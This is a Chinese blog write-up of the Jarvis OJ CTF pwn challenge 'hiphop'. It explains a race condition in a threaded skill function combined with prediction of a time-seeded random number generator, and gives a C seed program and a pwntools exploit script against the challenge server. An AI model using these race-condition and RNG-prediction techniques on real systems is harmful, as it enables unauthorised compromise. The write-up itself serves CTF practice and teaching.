jarvis oj pwn hiphop writeup

原创

charlie_heng 于 2018-01-24 16:24:43 发布 258 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/79152388

这题真的感觉挺新颖的

首先说下这题的漏洞是什么

条件竞争！

一开始我看到这题是懵逼的，为什么好像常规的下标越界，缓冲区越界之类的都没有
然后其中一个功能又非常奇怪，要开线程？
然后看到这个函数里面某个地方一大堆sleep，于是就猜是条件竞争了

这题是打boss，然后每次都会随机一下出招，只要能预测出出招是什么就能防御
然后回想起以前打pwnable的一题，也是同样靠本地的时间与服务器时间相同，然后随机序列就可以预测出来了
于是我靠另外一题的shell来登上服务器，看了下时间，发现是标准utc时间，然后把本地的时区设成和服务器一样，时间也设一样

然后再说回来条件竞争
在看use_skill那个函数的时候发现一个非常可疑的地方

```
*(_QWORD *)(a1 + 24) -= (signed int)*(_QWORD *)(a1 + 72);
```

但是上面判断的时候是（QWORD*）
然后上面选择函数那里，只有两个技能是会sleep(1)的，那就是 fireball，icesword ，而iceword设的攻击就是0xFFFFFFFF，level4的boss血量是0x7FFFFFFFFFFFFFFE，只要加2，boss的血量就会变成负数，判断的那里就会判定boss死亡
所以首先是选择fireball，然后use_skill
这个时候会sleep(1)，但是主线程还在跑，这个时候可以change_skill，选择iceword，再use_skill，这个时候fireball攻击的那个线程sleep结束，但是这个时候设的攻击是iceword的攻击，所以boss的血量就会+1，连续这样两次之后就能拿到flag了

ps：记得同步一下时间，我虚拟机时间迷之会越跑越慢。。。然后最好是在美国的vps上面跑，本地跑的话到条件竞争那里很可能会失败。。。

下面是payload
gen_rand.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
    int i;

    srand(time(0));

    for(i = 0; i < 1000; i ++)
    {
        int t=rand();
        printf("%d\n", t);
    }
    return 0;
}
```

hip.py

```python
from pwn import *
import time
import os

debug=1
index=0

if debug:
    p=process('./hiphop')
    #gdb.attach(proc.pidof(p)[0])
    context.log_level='debug'
else:
    context.log_level='debug'
    p=remote('pwn2.jarvisoj.com', 9894)

rand_data=[int(i) for i in os.popen('./gen_rand')]

def deal(rand):
    if rand%4==0:
        return str(1)
    elif rand%4==1:
        return str(3)
    return str(2)

def use_skill(skill,rand_data,index,wait):
    p.sendline('2')
    if wait:
        #p.recvuntil('Boss')
        time.sleep(0.01)
    else:
        p.recvuntil('select shield')
        sleep(0.1)
    if skill==3 or skill==2:
        index+=1
    elif skill==7:
        index+=3
    p.sendline(deal(rand_data[index]))
    index+=1
    #p.recvuntil('6. Exit\n')
```

```
        d=p.recvuntil('6. Exit\n')
        try:
            if(d.index('level:4')):
                print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
                return True,index
        except:
            pass
        return False,index

    def change_skill(index):
        p.sendline('3')
        p.recvuntil('9. hollylight')
        #time.sleep(0.01)
        p.sendline(str(index))
        p.recvuntil('6. Exit')
        #time.sleep(0.01)

    change_skill(3)

    for i in range(100):
        l4,ind=use_skill(3,rand_data,index,True)
        index=ind
        if l4:
            break

    for i in range(2):
        change_skill(2)
        l4,ind=use_skill(2,rand_data,index,False)
        index=ind
        if debug:
            sleep(0.6)
        change_skill(7)
        l4,ind=use_skill(7,rand_data,index,False)
        index=ind
        sleep(1)

    p.interactive()
```